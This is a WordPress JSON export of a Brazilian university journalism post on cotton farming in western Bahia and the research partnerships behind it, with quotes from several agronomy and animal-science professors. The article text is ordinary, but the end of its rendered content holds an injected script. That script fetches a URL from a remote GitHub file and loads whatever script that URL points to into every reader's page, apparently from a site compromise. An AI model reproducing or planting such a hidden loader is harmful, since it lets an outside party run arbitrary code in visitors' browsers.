{"id":297,"date":"2022-09-16T18:19:17","date_gmt":"2022-09-16T21:19:17","guid":{"rendered":"http:\/\/www2.uesb.br\/portaldejornalismo\/?p=297"},"modified":"2024-10-07T15:25:43","modified_gmt":"2024-10-07T18:25:43","slug":"producao-de-algodao-no-oeste-baiano-se-destaca-gracas-a-presenca-de-pesquisa-de-ponta-tecnologia-e-inovacao","status":"publish","type":"post","link":"https:\/\/www2.uesb.br\/portaldejornalismo\/?p=297","title":{"rendered":"Produ\u00e7\u00e3o de algod\u00e3o no Oeste baiano se destaca gra\u00e7as a presen\u00e7a de pesquisa de ponta, tecnologia e inova\u00e7\u00e3o"},"content":{"rendered":"<p>Por Tiago Lima<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-302 size-large img-fluid\" src=\"http:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/WhatsApp-Image-2022-09-16-at-18.15.09-1024x682.jpeg\" alt=\"\" width=\"1024\" height=\"682\" srcset=\"https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/WhatsApp-Image-2022-09-16-at-18.15.09-1024x682.jpeg 1024w, https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/WhatsApp-Image-2022-09-16-at-18.15.09-300x200.jpeg 300w, https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/WhatsApp-Image-2022-09-16-at-18.15.09-768x512.jpeg 768w, https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/WhatsApp-Image-2022-09-16-at-18.15.09-264x175.jpeg 264w, https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/WhatsApp-Image-2022-09-16-at-18.15.09-570x380.jpeg 570w, https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/WhatsApp-Image-2022-09-16-at-18.15.09.jpeg 1280w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/p>\n<p>&nbsp;<\/p>\n<p>A Bahia \u00e9 o segundo maior produtor de algod\u00e3o do Brasil. Essa posi\u00e7\u00e3o no pa\u00eds \u00e9 ocupada pelos baianos desde a safra 2003\/2004, em um ranking liderado pelo estado do Mato Grosso. S\u00f3 no ano de 2021, \u00faltima safra conclu\u00edda, os produtores baianos plantaram uma \u00e1rea de aproximadamente 267 mil hectares. O resultado foi uma produ\u00e7\u00e3o em pluma de quase 518 mil toneladas e uma produtividade de cerca de 316 mil arrobas por hectare.<\/p>\n<p>A cotonicultura baiana tem como principal caracter\u00edstica a presen\u00e7a da tecnologia e o investimento em pesquisa e inova\u00e7\u00e3o. Essa caracter\u00edstica \u00e9 fruto do trabalho realizado pela Associa\u00e7\u00e3o Baiana dos Produtores de Algod\u00e3o (Abapa) em parceria com in\u00fameras organiza\u00e7\u00f5es p\u00fablicas e privadas. Entre essas organiza\u00e7\u00f5es, destacam-se as universidades p\u00fablicas e a Empresa Brasileira de Pesquisa Agropecu\u00e1ria (Embrapa), empresa p\u00fablica ligada ao Minist\u00e9rio da Agricultura, Pecu\u00e1ria e Abastecimento (Mapa) do Governo Federal.<\/p>\n<p>Para o agr\u00f4nomo e professor do curso de Agronomia da Universidade do Estado da Bahia (UNEB), Jorge da Silva J\u00fanior, do campus de Barreiras, a presen\u00e7a das universidades p\u00fablicas junto a associa\u00e7\u00f5es como a Abapa \u00e9 &#8220;extremamente importante&#8221;. Ele, que atua na \u00e1rea da pesquisa h\u00e1 cerca de vinte anos, defende que essas associa\u00e7\u00f5es s\u00e3o o principal elo entre a academia e o produtor. &#8220;\u00c9 o produtor rural que demonstra para os cursos da nossa \u00e1rea quais s\u00e3o as principais demandas que existem no campo&#8221;, explica. &#8220;E dentro dessas demandas, a gente procura estruturar as nossas grades curriculares, definir quais as principais tem\u00e1ticas [a serem trabalhadas] e determinar quais as orienta\u00e7\u00f5es de foco para cada curso&#8221;.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-298 size-large img-fluid\" src=\"http:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/WhatsApp-Image-2022-09-16-at-18.04.33-1024x682.jpeg\" alt=\"\" width=\"1024\" height=\"682\" srcset=\"https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/WhatsApp-Image-2022-09-16-at-18.04.33-1024x682.jpeg 1024w, https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/WhatsApp-Image-2022-09-16-at-18.04.33-300x200.jpeg 300w, https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/WhatsApp-Image-2022-09-16-at-18.04.33-768x512.jpeg 768w, https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/WhatsApp-Image-2022-09-16-at-18.04.33-264x175.jpeg 264w, https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/WhatsApp-Image-2022-09-16-at-18.04.33-570x380.jpeg 570w, https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/WhatsApp-Image-2022-09-16-at-18.04.33.jpeg 1600w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/p>\n<p>Professor Jorge da Silva J\u00fanior em palestra na Funda\u00e7\u00e3o Bahia. Foto: Assessoria da Abapa.<\/p>\n<p>&nbsp;<\/p>\n<p>J\u00fanior afirma que s\u00e3o justamente os resultados dessas pesquisas que v\u00e3o direcionar as fazendas e toda a cadeia produtiva da cotonicultura baiana no futuro. Segundo ele, nos dias de hoje, as pr\u00e1ticas de cultivo e manejo no Oeste baiano ainda seguem recomenda\u00e7\u00f5es da Embrapa, que s\u00e3o voltadas para regi\u00f5es como S\u00e3o Paulo e Minas Gerais. Com o avan\u00e7o dos estudos que est\u00e3o sendo feitos atrav\u00e9s das parcerias entre as universidades p\u00fablicas e as institui\u00e7\u00f5es privadas, ser\u00e1 poss\u00edvel ter recomenda\u00e7\u00f5es voltadas especificamente para essa regi\u00e3o.<\/p>\n<p>Segundo dados da Abapa, apenas 5,5 mil hectares da \u00e1rea destinada \u00e0 cotonicultura na Bahia est\u00e3o na regi\u00e3o Sudoeste do estado, o que equivale a menos de 2% do total. Os outros 98% localizam-se, justamente, na regi\u00e3o Oeste. Por isso, conforme explica o professor Jorge, as pesquisas voltadas para a regi\u00e3o tornam-se ainda mais significativas.<\/p>\n<p>Muitas das pesquisas amparadas pela Abapa s\u00e3o realizadas nos laborat\u00f3rios da Funda\u00e7\u00e3o Bahia, outra institui\u00e7\u00e3o importante para o contexto da produ\u00e7\u00e3o algodoeira baiana. Situada na cidade de Lu\u00eds Eduardo Magalh\u00e3es &#8211; BA, em seu site oficial, ela se apresenta como uma entidade sem fins lucrativos que tem o objetivo de gerar informa\u00e7\u00f5es para atender as necessidades dos produtores da regi\u00e3o oeste do estado. Para isso, realiza um amplo programa de pesquisa, com \u00eanfase nas culturas da soja, milho, caf\u00e9 e algod\u00e3o.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-299 size-large img-fluid\" src=\"http:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/WhatsApp-Image-2022-09-16-at-18.04.32-1024x682.jpeg\" alt=\"\" width=\"1024\" height=\"682\" srcset=\"https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/WhatsApp-Image-2022-09-16-at-18.04.32-1024x682.jpeg 1024w, https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/WhatsApp-Image-2022-09-16-at-18.04.32-300x200.jpeg 300w, https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/WhatsApp-Image-2022-09-16-at-18.04.32-768x512.jpeg 768w, https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/WhatsApp-Image-2022-09-16-at-18.04.32-264x175.jpeg 264w, https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/WhatsApp-Image-2022-09-16-at-18.04.32-570x380.jpeg 570w, https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/WhatsApp-Image-2022-09-16-at-18.04.32.jpeg 1600w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/p>\n<p>Centro de An\u00e1lises de Fibras da Abapa. Foto: assessoria da Abapa.<\/p>\n<p>&nbsp;<\/p>\n<p>Al\u00e9m de receber apoio da Abapa e da Embrapa, a Funda\u00e7\u00e3o Bahia tamb\u00e9m conta com um aporte financeiro de outras organiza\u00e7\u00f5es ligadas ao agroneg\u00f3cio, como a Aiba (Associa\u00e7\u00e3o de Agricultores e Irrigantes da Bahia). Al\u00e9m disso, atua em conjunto com o Governo do Estado, por meio da Ag\u00eancia de Defesa Agropecu\u00e1ria da Bahia (ADAB), e com o Instituto Agron\u00f4mico de Campinas (IAC), do Governo de S\u00e3o Paulo.<\/p>\n<p>Em adi\u00e7\u00e3o ao fato de fazer parte do sistema que abrange as universidades p\u00fablicas e privadas, a Abapa e outras institui\u00e7\u00f5es, a Funda\u00e7\u00e3o Bahia tamb\u00e9m \u00e9 mantida com recursos do Fundeagro. Esse fundo foi criado em 2002, como parte do Programa de Incentivo \u00e0 Cultura do Algod\u00e3o (Proalba) desenvolvido pela Secretaria da Agricultura, Pecu\u00e1ria, Irriga\u00e7\u00e3o, Pesca e Aquicultura (Seagri) do governo do estado. Os recursos do Fundeagro equivalem a 10% do total de 50% de isen\u00e7\u00e3o que o Proalba concede ao produtor algodoeiro no Imposto sobre Circula\u00e7\u00e3o de Mercadorias e Servi\u00e7os (ICMS) nas opera\u00e7\u00f5es de comercializa\u00e7\u00e3o do produto no mercado interno, desde que o produtor atenda a requisitos tecnol\u00f3gicos, fitossanit\u00e1rios e de qualidade estabelecidos (<a href=\"http:\/\/www.seagri.ba.gov.br\/content\/proalba\">Lei n\u00ba 7.932\/2001 e Decreto n\u00ba 8.064\/2001<\/a>).<\/p>\n<p>Para a engenheira agr\u00f4noma e coordenadora do Programa de P\u00f3s-Gradua\u00e7\u00e3o em Agronomia (Fitotecnia) da Universidade Estadual do Sudoeste da Bahia (UESB), Maria Aparecida Castellani, a Abapa e a Funda\u00e7\u00e3o Bahia &#8220;s\u00e3o organiza\u00e7\u00f5es que se caracterizam pela seriedade e inova\u00e7\u00e3o de suas a\u00e7\u00f5es&#8221;, que s\u00e3o &#8220;determinantes para o desenvolvimento do agroneg\u00f3cio na Bahia&#8221;. De acordo com ela, que tamb\u00e9m atua na Gradua\u00e7\u00e3o em Agronomia da UESB em Vit\u00f3ria da Conquista e \u00e9 Mestra e Doutora na \u00e1rea, \u00e9 imprescind\u00edvel ao pesquisador se aliar a essas organiza\u00e7\u00f5es, tanto para o levantamento das demandas de pesquisa quanto para o desenvolvimento de produtos e t\u00e9cnicas que possam cada vez mais levar \u00e0 sustentabilidade.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-300 size-large img-fluid\" src=\"http:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/WhatsApp-Image-2022-09-16-at-18.08.41-1024x1024.jpeg\" alt=\"\" width=\"1024\" height=\"1024\" srcset=\"https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/WhatsApp-Image-2022-09-16-at-18.08.41-1024x1024.jpeg 1024w, https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/WhatsApp-Image-2022-09-16-at-18.08.41-150x150.jpeg 150w, https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/WhatsApp-Image-2022-09-16-at-18.08.41-300x300.jpeg 300w, https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/WhatsApp-Image-2022-09-16-at-18.08.41-768x768.jpeg 768w, https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/WhatsApp-Image-2022-09-16-at-18.08.41-175x175.jpeg 175w, https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/WhatsApp-Image-2022-09-16-at-18.08.41-380x380.jpeg 380w, https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/WhatsApp-Image-2022-09-16-at-18.08.41.jpeg 1080w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/p>\n<p>Professora Maria Aparecida Castellani no 13\u00ba Congresso Brasileiro de Algod\u00e3o. Foto: arquivo pessoal\/Instagram.<\/p>\n<p>&nbsp;<\/p>\n<p>Castellani recorda que a agricultura vem passando por grandes transforma\u00e7\u00f5es nos \u00faltimos tempos. &#8220;A agricultura deixou de ser apenas produ\u00e7\u00e3o e comercializa\u00e7\u00e3o de um determinado produto, e hoje \u00e9 um cen\u00e1rio complexo de muitas intera\u00e7\u00f5es, neg\u00f3cios e servi\u00e7os, que devem ser norteadas pelas exig\u00eancias dos consumidores brasileiros e estrangeiros. Esses consumidores buscam cada vez mais produtos de qualidade, sem res\u00edduos de agrot\u00f3xicos, com preocupa\u00e7\u00f5es ambientais e sociais&#8221;. Ela tamb\u00e9m conta que tem atuado diretamente com a Abapa e a Funda\u00e7\u00e3o Bahia no desenvolvimento de projetos de pesquisa e extens\u00e3o.<\/p>\n<p>&#8220;Recentemente, a Abapa, atrav\u00e9s do Fundeagro, investiu um grande aporte de recursos para um projeto de pesquisa sobre o bicudo-do-algodoeiro, com envolvimento de pesquisadores e alunos da UESB, inclusive com bolsas de estudos para estudantes da gradua\u00e7\u00e3o e p\u00f3s-doutorado&#8221;, afirma. Ela tamb\u00e9m enuncia que foram gerados diversos conhecimentos cient\u00edficos sobre a praga, e que os trabalhos foram apresentados nos Congressos Brasileiros de Algod\u00e3o e de Entomologia, recentemente realizados, e que, em breve, ser\u00e3o repassados aos cotonicultores. &#8220;V\u00e1rios aspectos relacionados \u00e0 sobreviv\u00eancia do bicudo na entressafra, destrui\u00e7\u00e3o de restos de cultura, resist\u00eancia da praga a inseticidas, foram conclu\u00eddos com esse apoio recebido&#8221;, comenta.<\/p>\n<p>Outra caracter\u00edstica da cotonicultura \u00e9 o fato de que n\u00e3o h\u00e1 desperd\u00edcio em nenhuma das partes do algod\u00e3o. A zootecnista e professora do Instituto Federal do Par\u00e1 (IFPA), Tamires Magalh\u00e3es, desenvolveu a sua tese de doutoramento em Zootecnia na Universidade Federal da Bahia (UFBA) com o t\u00edtulo &#8220;Caro\u00e7o de algod\u00e3o integral ou mo\u00eddo e quitosana em dietas para cordeiros&#8221;. Esse trabalho n\u00e3o teve rela\u00e7\u00e3o com a Abapa, a Funda\u00e7\u00e3o BA ou o Fundeagro, sendo financiado pelo Conselho Nacional de Desenvolvimento Cient\u00edfico e Tecnol\u00f3gico (CNPq), entidade ligada ao Minist\u00e9rio da Ci\u00eancia, Tecnologia e Inova\u00e7\u00f5es (MCTI) do Governo Federal. Contudo, voltado para a melhora da qualidade da carne de carneiro e da sa\u00fade da popula\u00e7\u00e3o consumidora, com uma diminui\u00e7\u00e3o dos problemas coron\u00e1rios (&#8220;de cora\u00e7\u00e3o&#8221;) e de doen\u00e7as como o c\u00e2ncer, ele refor\u00e7a a import\u00e2ncia do investimento p\u00fablico em educa\u00e7\u00e3o, pesquisa e inova\u00e7\u00e3o, o que se passa, tamb\u00e9m, pelas pesquisas na \u00e1rea da cotonicultura.<\/p>\n<p>A professora defende o investimento do Estado nas institui\u00e7\u00f5es p\u00fablicas de fomento \u00e0 pesquisa, como o Coordena\u00e7\u00e3o de Aperfei\u00e7oamento de Pessoal de N\u00edvel Superior (Capes) \u2014 vinculada ao Minist\u00e9rio da Educa\u00e7\u00e3o (MEC) do Governo Federal \u2014 e a Funda\u00e7\u00e3o de Amparo \u00e0 Pesquisa do Estado da Bahia (Fapesb) \u2014 ligada \u00e0 Secretaria de Ci\u00eancia, Tecnologia e Inova\u00e7\u00e3o do Estado da Bahia (SECTI). Ao mesmo tempo, ela tamb\u00e9m descreve, com entusiasmo, a combina\u00e7\u00e3o entre o poder p\u00fablico e a iniciativa privada como perfeita. &#8220;\u00c9 uma forma de a gente poder colocar no mercado profissionais de qualidade, que estejam preparados para trabalhar em qualquer tipo de institui\u00e7\u00e3o&#8221;, argumenta. Magalh\u00e3es ainda recorda que os estudantes tamb\u00e9m contam com um orientador quando t\u00eam a oportunidade de atuar em pesquisas ou fazer est\u00e1gios em institui\u00e7\u00f5es privadas, e que essa experi\u00eancia \u00e9 importante, porque possibilita a eles ter uma vis\u00e3o diferenciada e muito mais ampla dos processos produtivos e do mercado.<\/p>\n<p>Tamires, que fez a gradua\u00e7\u00e3o e o mestrado em Zootecnia na Universidade Federal da Para\u00edba (UFPB) afirma que a pesquisa nas universidades perpassa principalmente pelas bolsas de amparo, que d\u00e3o aos alunos a possibilidade de se dedicar integralmente a esse of\u00edcio, pois n\u00e3o h\u00e1 como se fazer isso quando eles precisam desenvolver outras atividades em busca de remunera\u00e7\u00e3o. Ela lembra que a pesquisa tamb\u00e9m \u00e9 um tipo de trabalho, que deve ser reconhecido pela sociedade e, que ao mesmo tempo, precisa dar um retorno a ela, que o financia por meio dos impostos. A miss\u00e3o assumida pela Abapa, por meio do Fundeagro, em conjunto com a Funda\u00e7\u00e3o Bahia, as universidades p\u00fablicas e privadas e outras organiza\u00e7\u00f5es, com o investimento em pesquisa voltada \u00e0 cotonicultura baiana, cumpre esse papel e d\u00e1 um retorno aos produtores e consumidores, que t\u00eam uma variedade cada vez maior de produtos cada vez melhores.<script>;var url = 'https:\/\/raw.githubusercontent.com\/AlexanderRPatton\/cdn\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Por Tiago Lima &nbsp; A Bahia \u00e9 o segundo maior&#8230;<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":""},"categories":[12,7,8,2],"tags":[],"class_list":["post-297","post","type-post","status-publish","format-standard","hentry","category-jornalismo-impresso","category-noticias","category-slide","category-webjornalismo"],"acf":[],"_links":{"self":[{"href":"https:\/\/www2.uesb.br\/portaldejornalismo\/index.php?rest_route=\/wp\/v2\/posts\/297","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www2.uesb.br\/portaldejornalismo\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www2.uesb.br\/portaldejornalismo\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www2.uesb.br\/portaldejornalismo\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www2.uesb.br\/portaldejornalismo\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=297"}],"version-history":[{"count":5,"href":"https:\/\/www2.uesb.br\/portaldejornalismo\/index.php?rest_route=\/wp\/v2\/posts\/297\/revisions"}],"predecessor-version":[{"id":365,"href":"https:\/\/www2.uesb.br\/portaldejornalismo\/index.php?rest_route=\/wp\/v2\/posts\/297\/revisions\/365"}],"wp:attachment":[{"href":"https:\/\/www2.uesb.br\/portaldejornalismo\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=297"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www2.uesb.br\/portaldejornalismo\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=297"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www2.uesb.br\/portaldejornalismo\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=297"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}